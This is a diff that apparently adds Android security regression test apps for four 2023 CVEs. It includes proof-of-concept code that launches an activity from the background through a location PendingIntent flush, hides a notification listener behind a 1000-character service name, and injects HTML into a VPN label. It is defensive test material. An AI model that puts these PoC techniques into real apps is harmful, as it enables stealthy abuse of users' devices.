+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="bcastAction">CVE_2023_21088_TargetActivity</string>
+ <string name="isVulnerable">isVulnerable</string>
+ <string name="msgFailure">Device is vulnerable to b/235823542 !!</string>
+ <string name="noExceptionMsg">no exception</string>
+ <string name="pocCrashedMsg">PocActivity crashed with exception:</string>
+ <string name="status">status</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/src/android/security/cts/CVE_2023_21088/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/src/android/security/cts/CVE_2023_21088/DeviceTest.java
new file mode 100644
index 0000000..897e415
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/src/android/security/cts/CVE_2023_21088/DeviceTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21088;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testCVE_2023_21088() {
+ try {
+ final int timeoutMs = 5000;
+ final Semaphore targetReturn = new Semaphore(0);
+ Context context = getApplicationContext();
+ CompletableFuture<String> broadcastReceived = new CompletableFuture<String>();
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if (intent.getBooleanExtra(context.getString(R.string.isVulnerable),
+ false)) {
+ targetReturn.release();
+ }
+ String pocActivityStatus =
+ intent.getStringExtra(context.getString(R.string.status));
+ if (pocActivityStatus != null) {
+ broadcastReceived.complete(pocActivityStatus);
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ };
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(context.getString(R.string.bcastAction));
+ context.registerReceiver(broadcastReceiver, filter);
+
+ // Start PocActivity
+ Intent intent = new Intent(context, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ String pocActivityStatus = broadcastReceived.get(timeoutMs, TimeUnit.MILLISECONDS);
+ assumeTrue(context.getString(R.string.pocCrashedMsg) + pocActivityStatus,
+ pocActivityStatus.equals(context.getString(R.string.noExceptionMsg)));
+
+ // Wait on call from TargetActivity. On vulnerable device, TargetActivity will
+ // launch and the test fail, with fix TargetActivity will not launch.
+ assertFalse(context.getString(R.string.msgFailure),
+ targetReturn.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/src/android/security/cts/CVE_2023_21088/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/src/android/security/cts/CVE_2023_21088/PocActivity.java
new file mode 100644
index 0000000..635a750
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/src/android/security/cts/CVE_2023_21088/PocActivity.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21088;
+
+import static android.provider.Settings.ACTION_SETTINGS;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.location.LocationManager;
+import android.os.Handler;
+
+import java.util.List;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ try {
+ super.onResume();
+ final int requestCode = 1;
+ final int waitMs = 2000;
+
+ // To move task in background according to task issue.
+ moveTaskToBack(true);
+ LocationManager locationManager = getSystemService(LocationManager.class);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, requestCode,
+ new Intent(this, TargetActivity.class), PendingIntent.FLAG_MUTABLE);
+ locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0 /* minTimeMs */ ,
+ 0 /* minDistanceM */, pendingIntent);
+
+ // Using handler() to update the thread from the background thread to the main thread
+ // using looper to be run after the specified amount of time elapses.
+ Handler handler = new Handler();
+ Runnable runnable = new Runnable() {
+ @Override
+ public void run() {
+ if (!isAppOnForeground()) {
+ // On vulnerable device, calling requestFlush() causes TargetActivity to be
+ // launched.
+ locationManager.requestFlush(LocationManager.GPS_PROVIDER, pendingIntent,
+ requestCode);
+ }
+ }
+ };
+ handler.postDelayed(runnable, waitMs);
+ startActivity(new Intent(ACTION_SETTINGS));
+ sendBroadcast(new Intent(getString(R.string.bcastAction))
+ .putExtra(getString(R.string.status), getString(R.string.noExceptionMsg)));
+ } catch (Exception e) {
+ try {
+ sendBroadcast(new Intent(getString(R.string.bcastAction))
+ .putExtra(getString(R.string.status), e.getMessage()));
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ }
+
+ private boolean isAppOnForeground() {
+ ActivityManager activityManager = getSystemService(ActivityManager.class);
+ List<ActivityManager.RunningAppProcessInfo> appProcesses =
+ activityManager.getRunningAppProcesses();
+ if (appProcesses == null) {
+ return false;
+ }
+ final String packageName = getPackageName();
+ for (ActivityManager.RunningAppProcessInfo appProcess : appProcesses) {
+ if (appProcess.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
+ && appProcess.processName.equals(packageName)) {
+ return true;
+ }
+ }
+ return false;
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/src/android/security/cts/CVE_2023_21088/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/src/android/security/cts/CVE_2023_21088/TargetActivity.java
new file mode 100644
index 0000000..c85b52b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21088/src/android/security/cts/CVE_2023_21088/TargetActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21088;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class TargetActivity extends Activity {
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ sendBroadcast(new Intent(getString(R.string.bcastAction))
+ .putExtra(getString(R.string.isVulnerable), true));
+ } catch (Exception ignored) {
+ // ignoring exceptions here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/Android.bp
similarity index 65%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-21128/Android.bp
index 50acd29..b1773b5d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,18 +20,33 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2023-21128-test",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "test-app/src/**/*.java"
+ ],
test_suites: [
"sts",
],
+ manifest: "test-app/AndroidManifest.xml",
+ resource_dirs: [
+ "test-app/res",
+ ],
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
+ "compatibility-device-util-axt",
],
+ platform_apis: true,
+}
+
+android_test_helper_app {
+ name: "CVE-2023-21128-helper",
+ test_suites: [
+ "sts",
+ ],
+ manifest: "helper-app/AndroidManifest.xml",
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/helper-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/helper-app/AndroidManifest.xml
new file mode 100644
index 0000000..ba74176
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/helper-app/AndroidManifest.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_21128_helper" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..fe240a4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_21128_test">
+ <application android:testOnly="true">
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_policies" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_21128_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/res/values/strings.xml
new file mode 100644
index 0000000..2318fa6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="helperAppPackage">android.security.cts.CVE_2023_21128_helper</string>
+ <string name="testFailMessage">Vulnerable to b/272042183</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/res/xml/device_policies.xml
new file mode 100644
index 0000000..941f994
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/res/xml/device_policies.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+ <uses-policies />
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/src/android/security/cts/CVE_2023_21128_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/src/android/security/cts/CVE_2023_21128_test/DeviceTest.java
new file mode 100644
index 0000000..755aaae
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/src/android/security/cts/CVE_2023_21128_test/DeviceTest.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21128_test;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.admin.DevicePolicyManager;
+import android.app.usage.UsageStatsManager;
+import android.content.ComponentName;
+import android.content.Context;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AmUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testCVE_2023_21128() {
+ DevicePolicyManager dpm = null;
+ ComponentName componentName = null;
+ try {
+ Context context = getInstrumentation().getContext();
+ dpm = context.getSystemService(DevicePolicyManager.class);
+ componentName = new ComponentName(context, PocDeviceAdminReceiver.class);
+ final String helperAppPackage = context.getString(R.string.helperAppPackage);
+
+ // Add helperAppPackage to admin protected packages list
+ dpm.setUserControlDisabledPackages(
+ componentName,
+ new ArrayList<String>() {
+ {
+ add(helperAppPackage);
+ }
+ });
+
+ AmUtils.setStandbyBucket(helperAppPackage, UsageStatsManager.STANDBY_BUCKET_ACTIVE);
+
+ // Test fails if the AdminProtected package bucket is not equal STANDBY_BUCKET_EXEMPTED
+ assertFalse(
+ context.getString(R.string.testFailMessage),
+ AmUtils.getStandbyBucket(helperAppPackage)
+ != UsageStatsManager.STANDBY_BUCKET_EXEMPTED);
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ // Cleanup: removing the helperAppPackage from admin protected Packages
+ dpm.setUserControlDisabledPackages(componentName, new ArrayList<>());
+ } catch (Exception ignored) {
+ // Ignore all exceptiions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/src/android/security/cts/CVE_2023_21128_test/PocDeviceAdminReceiver.java
similarity index 71%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/src/android/security/cts/CVE_2023_21128_test/PocDeviceAdminReceiver.java
index 1a335c7..fd1d6bf 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21128/test-app/src/android/security/cts/CVE_2023_21128_test/PocDeviceAdminReceiver.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,9 +14,8 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2023_21128_test;
-import android.app.Activity;
+import android.app.admin.DeviceAdminReceiver;
-public class PocActivity extends Activity {
-}
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-21135/Android.bp
similarity index 88%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-21135/Android.bp
index 09297b2..bc8abf5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21135/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2023-21135",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21135/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21135/AndroidManifest.xml
new file mode 100644
index 0000000..b0e3eab
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21135/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_21135">
+ <application>
+
+ <!-- Using a listener service 1000 characters long to reproduce the vulnerability -->
+ <service android:name=".AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+ android:exported="true"
+ android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.notification.NotificationListenerService" />
+ </intent-filter>
+ </service>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_21135" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21135/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21135/res/values/strings.xml
new file mode 100644
index 0000000..b957e50
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21135/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="deviceAndAppNotific">Not allowed</string>
+ <string name="vulnerableMsg">Device is vulnerable to b/260570119</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21135/src/android/security/cts/CVE_2023_21135/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21135/src/android/security/cts/CVE_2023_21135/DeviceTest.java
new file mode 100644
index 0000000..eb990e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21135/src/android/security/cts/CVE_2023_21135/DeviceTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21135;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.content.Context;
+import android.content.Intent;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testNotificationPermission() {
+ try {
+ Context context = getInstrumentation().getTargetContext();
+ final UiDevice uiDevice = UiDevice.getInstance(getInstrumentation());
+
+ // Launching Device and app notification window
+ Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+
+ // Checking if Device and app notification window appears
+ UiObject2 uiObjectWindow =
+ uiDevice.findObject(By.text(context.getString(R.string.deviceAndAppNotific)));
+ assumeNotNull(uiObjectWindow);
+
+ // Checking if listener service is present in Device and app notification window
+ UiObject2 listener =
+ uiDevice.findObject(By.text(context.getPackageName()));
+
+ // Failing the test if listener service is present
+ assertFalse(context.getString(R.string.vulnerableMsg), listener != null);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/Android.bp
similarity index 91%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-21251/Android.bp
index 09297b2..bf22e03 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,7 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2023-21251",
defaults: [
"cts_defaults",
],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/AndroidManifest.xml
new file mode 100644
index 0000000..cecf211
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_21251">
+
+ <application>
+ <activity android:name=".PocActivity" />
+ <service android:name=".PocVpnService"
+ android:exported="true"
+ android:label="@string/htmlCode"
+ android:permission="android.permission.BIND_VPN_SERVICE">
+ <intent-filter>
+ <action android:name="android.net.VpnService" />
+ </intent-filter>
+ </service>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_21251" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/res/values/strings.xml
new file mode 100644
index 0000000..b123833
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21251/res/values/strings.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="activityNotStarted">PocActivity did not start</string>
+ <string name="broadcastAction">CVE_2023_21251_action</string>
+ <string name="bugIdDecoded">%1$sb/204554636%2$s</string>
+ <string name="confirmDialogNotAppeared">ConfirmDialog did not appear</string>
+ <string name="failMessage">Device is vulnerable to b/204554636 !!</string>
+ <string name="htmlCode"><br>b/204554636<br></string>
+ <string name="resId">warning</string>
+</resources>
